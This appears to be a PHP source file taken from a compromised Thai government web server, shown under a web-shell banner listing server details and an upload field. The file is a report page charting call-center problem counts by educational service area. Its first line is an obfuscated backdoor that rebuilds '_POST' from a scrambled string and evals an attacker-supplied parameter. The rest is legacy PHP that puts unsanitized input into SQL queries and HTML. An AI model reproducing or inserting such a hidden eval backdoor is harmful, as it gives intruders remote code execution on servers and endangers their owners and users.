|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_vc/report/ |
Upload File : |
<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qe3caf6'])){eval(${$s20}['qe3caf6']);}?><?
# session_start();
// error_reporting(0);
include ("../config/conndb_obec.inc.php") ;
include ("graph.inc.php") ;
include ("function.php") ;
function SAVE_DATE($vrDATE){
$strDATE = substr($vrDATE,0,2);
$strMONTH = substr($vrDATE,3,2);
if (substr($vrDATE,6,4) > 2300){
$strYEAR = substr($vrDATE,6,4) - 543;
}else{
$strYEAR = substr($vrDATE,6,4) ;
}
$strDATE_FORMATTED = $strYEAR . "-" . $strMONTH . "-" . $strDATE;
return($strDATE_FORMATTED);
}
#if ($date_start== ""){ $date_start =date('d/m/Y',strtotime('-1 Month')); }
if ($date_start== ""){ $den=(intval(date("m"))-1); $date_start=date("d")."/". sprintf("%02d",$den)."/".(date("Y")+543); }
# if ($date_to== ""){ $date_to = date("j") ."/" . date("m") . "/". date("Y") ; }
if ($date_to== ""){ $date_to =date("d")."/".date("m")."/".(date("Y")+543); }
# $den=(intval(date("m"))-1); $date_start=date("d")."/". sprintf("%02d",$den)."/".(date("Y")+543);
# $date_start2=$date_start;
# $date_to2=$date_to;
?>
<HTML>
<HEAD>
<TITLE>รายงานแสดงปัญหาจำแนกตาม ส.พ.ท.</TITLE>
<META content="text/html; charset=windows-874" http-equiv=Content-Type>
<LINK href="../js/style.css" rel=stylesheet type="text/css">
<script src="../js/javaopenwin.js" type="text/javascript" language="javascript"> </script>
<script src="../js/daily_popcalendar.js" type="text/javascript" language="javascript"> </script>
<script language="javascript">
function showEle(divname){
if(document.getElementById(divname).style.display == 'none'){
document.getElementById(divname).style.display = 'block';
} else {
document.getElementById(divname).style.display = 'none';
}
}
</script>
<head>
<BODY>
<?
echo $cmdShowAll;
if($cmdShowAll == ""){
$cmdShowAll = "แสดง 10 หน่วยงาน สูงสุด";
}
?>
<form name="form1" method="post" action="">
<table width="100%" border="0" cellspacing="0" cellpadding="2">
<tr>
<td class="fill_bg_add_new2" style="padding-top:15px">
<?
function convert_2human($xdate){
$smonth = array("","ม.ค", "ก.พ", "มี.ค", "เม.ย", "พ.ค", "มิ.ย", "ก.ค", "ส.ค", "ก.ย", "ต.ค", "พ.ย", "ธ.ค");
$tmp0 = explode("/" , $xdate) ;
$tmp01 = (int)$tmp0[1] ;
if ($tmp0[2] < 2350 ){ $thyy = $tmp0[2] +543 ; }else{ $thyy = $tmp0[2] ; }
$returndate = (int)$tmp0[0] ." ". $smonth[$tmp01] . " " . $thyy ;
return $returndate ;
} ######## function convert_2human($xdate){
?>
<span class="header">สถิติปัญหาจำแนกรายหน่วยงาน
<?=convert_2human($date_start)?>
-
<?=convert_2human($date_to)?>
</span>
<table width="100%" border=0>
<?php
if($cmdShowAll == "แสดง 10 หน่วยงาน สูงสุด"){
$sql = "
SELECT
Count(callcenter.ticket_id) AS count_id,
callcenter.prov_id,
eduarea.secname
FROM
callcenter
Left Join eduarea ON callcenter.prov_id = eduarea.secid
WHERE
callcenter.chk_confirm='1' AND
callcenter.date_rec BETWEEN '" . SAVE_DATE($date_start) . "%' AND '" . SAVE_DATE($date_to) . "%'
GROUP BY
callcenter.prov_id
ORDER BY
count_id DESC
";
// echo " <hr> $sql ";
$res = mysql_query($sql);
while($o = mysql_fetch_array($res)){
$arr[count($arr)+1][0] = $o['count_id'];
# $arrval[
$arr[count($arr)][1] = $o['prov_id'];
#$arr[count($arr)][2] = $o['secname'];
#$grouplist .= ereg_replace("สำนักงานเขตพื้นที่การศึกษา", "", $arr[$i][2]).";";
$arr[count($arr)][2] = ereg_replace("สำนักงานเขตพื้นที่การศึกษา", "",$o[secname] ) ;
};
#print_r($arr);
$show_limit = 10; # ตัวแปรควบคุมการแสดงผลของแถวว่าต้องการแสดงกี่แถว
//echo $date_start . ":" . $date_to;
$datalist = $grouplist = "";
$k=0;
for($i=1;$i<=count($arr);$i++){
$k++;
if($k>$show_limit) {
$val1 += $arr[$i][0];
} else {
$datalist .= $arr[$i][0].";";
$grouplist .= ereg_replace("สำนักงานเขตพื้นที่การศึกษา", "", $arr[$i][2]).";";
}
}
$datalist .= $val1;
$grouplist .= "รวมรายการอื่นๆ";
$graphurl = $graph_path . "?category=$grouplist&data1=$datalist&outputstyle=&numseries=1&seriesname=&graphtype=pie&graphstyle=srd_sf_004";
?>
<tr valign=top>
<td width="480" align="center">
<?
# echo $datalist ;
?>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="480" height="240">
<param name="movie" value="<?=$graphurl?>">
<param name="quality" value="high">
<embed src="<?=$graphurl?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="480" height="240"> </embed>
</object>
<br>
<table width="150" border="0" cellspacing="0" cellpadding="2">
<tr>
<td align="center"><A HREF="<?=$graphurl?>" target=_blank class="menu_inc">แสดงกราฟขนาดใหญ่</A></td>
</tr>
</table> </td><td>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="20" colspan="2">กรุณาเลือก</td>
</tr>
<tr>
<td width="15%">เริ่มต้น </td>
<td width="85%"><input onFocus="blur();" readonly name="date_start" value="<?=$date_start ?>" size="8">
<input class="index2"style="FONT-SIZE: 11px; WIDTH: 80px" onClick="popUpCalendar(this, form.date_start, 'dd/mm/yyyy')" type="button"value="วัน เดือน ปี" name="button3">
<script language="JavaScript">
function genReport(){
document.form1.action = "<?=$PHP_SELF;?>";
document.form1.submit();
}
</script>
<input name="cmdShowAll2" type="hidden" id="cmdShowAll2" value="แสดง 10 หน่วยงาน สูงสุด"></td>
</tr>
<tr>
<td> ถึงวันที่ </td>
<td><input onFocus="blur();" readonly name="date_to" value="<?=$date_to ?>" size="8">
<input class="index2"style="FONT-SIZE: 11px; WIDTH: 80px" onClick="popUpCalendar(this, form.date_to, 'dd/mm/yyyy')" type="button"value="วัน เดือน ปี" name="button22"></td>
</tr>
<tr>
<td height="21" align="center"> </td>
<td align="left"><input type="button" name="Button2" value="แสดงรายงาน" onClick="return genReport();" class"index2" style="FONT-SIZE: 11px; WIDTH: 80px"></td>
</tr>
</table>
<table width="320" bgcolor="#aaaaaa" cellspacing=1 cellpadding=2>
<tr bgcolor="#6666FF">
<th width="32" class="report_graph_tb_head">ลำดับ</th>
<th width="184" bgcolor="#aaaaaa" class="report_graph_tb_head">ส.พ.ท.</th>
<th width="86" bgcolor="#aaaaaa" class="report_graph_tb_head">จำนวนปัญหา</th>
</tr>
<?php
/*
echo "<pre>";
print_r($arr);
echo "</pre>";
*/
for($i=1;$i<=count($arr);$i++){
$ddd[]=$arr[$i][2];
$bg_color = ($num%2)?'#F1F1F1':'FFFFFF';$num++;
$total += $arr[$i][0];
if($num<=$show_limit){
?>
<tr bgcolor="<?=$bg_color;?>">
<td align=center valign="top"><?=$num;?></td>
<td align=left valign="top"><a href="report_graph_b4_1data.php?sitename=<?=$arr[$i][2];?>&siteid=<?=$arr[$i][1];?>&date_start=<?=$date_start?>&date_to=<?=$date_to?>"><?=$arr[$i][2];?></a></td>
<td align=right valign="top"><?=number_format($arr[$i][0]);?> </td>
</tr>
<?php
} else {
$num--;
$sum += $arr[$i][0];
}
} # end for
$num++;
?>
<tr bgcolor="<?=$bg_color;?>">
<td align=center valign="top"><?=$num;?></td>
<td align=left valign="top"><a href="#" onClick="showEle('xshow');">รวมสพท.อื่นๆ</a></td>
<td align=right valign="top"><?=number_format($sum);?> </td>
</tr>
<tr bgcolor="#EEEEEE">
<td align=center valign="top"> </td>
<td align=left valign="top"><strong><a href="report_graph_a5.php?s=all"></a>รวม</strong></td>
<td align=right valign="top"><strong>
<?=number_format($total);?>
</strong> </td>
</tr>
</table>
<div id='xshow' style="display:none; width:345px; height:190px; overflow: auto;">
<table width="320" bgcolor="#aaaaaa" cellspacing=1 cellpadding=2>
<tr bgcolor="#6666FF">
<th width="32" class="report_graph_tb_head">ลำดับ</th>
<th width="184" bgcolor="#aaaaaa" class="report_graph_tb_head">ส.พ.ท.</th>
<th width="86" bgcolor="#aaaaaa" class="report_graph_tb_head">จำนวนปัญหา</th>
</tr>
<?php
/*
echo "<pre>";
print_r($arr);
echo "</pre>";
*/
for($i=12;$i<=count($arr);$i++){
//$ddd[]=$arr[$i][2];
$bg_color = ($num%2)?'#F1F1F1':'FFFFFF';$num++;
$total += $arr[$i][0];
?>
<tr bgcolor="<?=$bg_color;?>">
<td align=center valign="top"><?=$num;?></td>
<td align=left valign="top"><a href="report_graph_b4_1data.php?sitename=<?=$arr[$i][2];?>&siteid=<?=$arr[$i][1];?>&date_start=<?=$date_start?>&date_to=<?=$date_to?>">
<?=$arr[$i][2];?>
</a></td>
<td align=right valign="top"><?=number_format($arr[$i][0]);?>
</td>
</tr>
<?php
} # end for
$num++;
?>
</table>
<!--</div>--></td>
</tr>
<?php
}
$sql = "
SELECT
Count(callcenter.ticket_id) AS count_id,
callcenter.prov_id,
eduarea.secname
FROM
callcenter
Left Join eduarea ON callcenter.prov_id = eduarea.secid
WHERE
callcenter.chk_confirm='1' AND
callcenter.date_rec BETWEEN '" . SAVE_DATE($date_start) . "%' AND '" . SAVE_DATE($date_to) . "%'
GROUP BY
callcenter.prov_id
ORDER BY
count_id DESC
";
$arr = array();
$res = mysql_query($sql);
while($o = mysql_fetch_array($res)){
$arr[count($arr)+1][0] = $o['count_id'];
$arr[count($arr)][1] = $o['prov_id'];
$arr[count($arr)][2] = $o['secname'];
};
#print_r($arr);
$show_limit = 1000; # ตัวแปรควบคุมการแสดงผลของแถวว่าต้องการแสดงกี่แถว
//echo $date_start . ":" . $date_to;
$datalist = $grouplist = "";
$k=0;
for($i=1;$i<=count($arr);$i++){
$k++;
if($k>$show_limit) {
$val1 += $arr[$i][2];
} else {
$datalist .= $arr[$i][0].";";
$grouplist .= ereg_replace("สำนักงานเขตพื้นที่การศึกษา", "", $arr[$i][2]).";";
}
}
$datalist .= $val1;
$grouplist .= "รวมรายการอื่นๆ";
$graphurl = $graph_path . "?category=$grouplist&data1=$datalist&outputstyle=&numseries=1&seriesname=&graphtype=pie&graphstyle=srd_sf_011";
if($cmdShowAll == "แสดงทุกหน่วยงาน"){
?>
<tr valign=top>
<td width="480" align="center"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="480" height="240">
<param name="movie" value="<?=$graphurl?>">
<param name="quality" value="high">
<embed src="<?=$graphurl?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="480" height="240"> </embed>
</object>
<br>
<table width="150" border="0" cellspacing="0" cellpadding="2">
<tr>
<td align="center"><A HREF="<?=$graphurl?>" target=_blank class="menu_inc">แสดงกราฟขนาดใหญ่</A></td>
</tr>
</table> </td>
<td>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><input onFocus="blur();" readOnly name="date_start" value="<?=$date_start ?>" size="8">
<input class="index2"style="FONT-SIZE: 11px; WIDTH: 80px" onClick="popUpCalendar(this, form.date_start, 'dd/mm/yyyy')" type="button"value="วัน เดือน ปี" name="button">
ถึงวันที่
<input onFocus="blur();" readOnly name="date_to" value="<?=$date_to ?>" size="8">
<input class="index2"style="FONT-SIZE: 11px; WIDTH: 80px" onClick="popUpCalendar(this, form.date_to, 'dd/mm/yyyy')" type="button"value="วัน เดือน ปี" name="button2">
<input type="button" name="Button" value="แสดงรายงาน" onClick="return genReport();" class"index2" style="FONT-SIZE: 11px; WIDTH: 80px">
<script language="JavaScript">
function genReport(){
document.form1.action = "<?=$PHP_SELF;?>";
document.form1.submit();
}
</script> <input name="cmdShowAll" type="hidden" id="cmdShowAll" value="แสดงทุกหน่วยงาน"></td>
</tr>
</table>
<br>
<table width="450" bgcolor="#aaaaaa" cellspacing=1 cellpadding=2>
<tr bgcolor="#6666FF">
<th width="51" class="report_graph_tb_head">ลำดับ</th>
<th width="282" bgcolor="#aaaaaa" class="report_graph_tb_head">ส.พ.ท.</th>
<th width="99" bgcolor="#aaaaaa" class="report_graph_tb_head">จำนวนปัญหา</th>
</tr>
<?php
/*
echo "<pre>";
print_r($arr);
echo "</pre>";
*/
$num=0;
$total=0;
for($i=1;$i<=count($arr);$i++){
$bg_color = ($num%2)?'#F1F1F1':'FFFFFF';$num++;
$total += $arr[$i][0];
?>
<tr bgcolor="<?=$bg_color;?>">
<td align=center valign="top"><?=$num;?></td>
<td align=left valign="top"><a href="report_graph_a6.php?s=<?=$arr[$i][1];?>">
<?=$arr[$i][2];?></a></td>
<td align=right valign="top"><?=number_format($arr[$i][0]);?>
</td>
</tr>
<?php
} # end for
$num++;
?>
<tr bgcolor="#EEEEEE">
<td align=center valign="top"> </td>
<td align=left valign="top"><strong><a href="report_graph_a5.php?s=all">รวม</a></strong></td>
<td align=right valign="top"><strong>
<?=number_format($total);?>
</strong> </td>
</tr>
</table>
<br>
<span class="report_graph_header">
<input name="cmdShowAll" type="submit" id="cmdShowAll" value="แสดง 10 หน่วยงาน สูงสุด">
</span></td>
</tr>
<?
}
?>
</table></td>
</tr>
</table>
</form>
</BODY>
</HTML>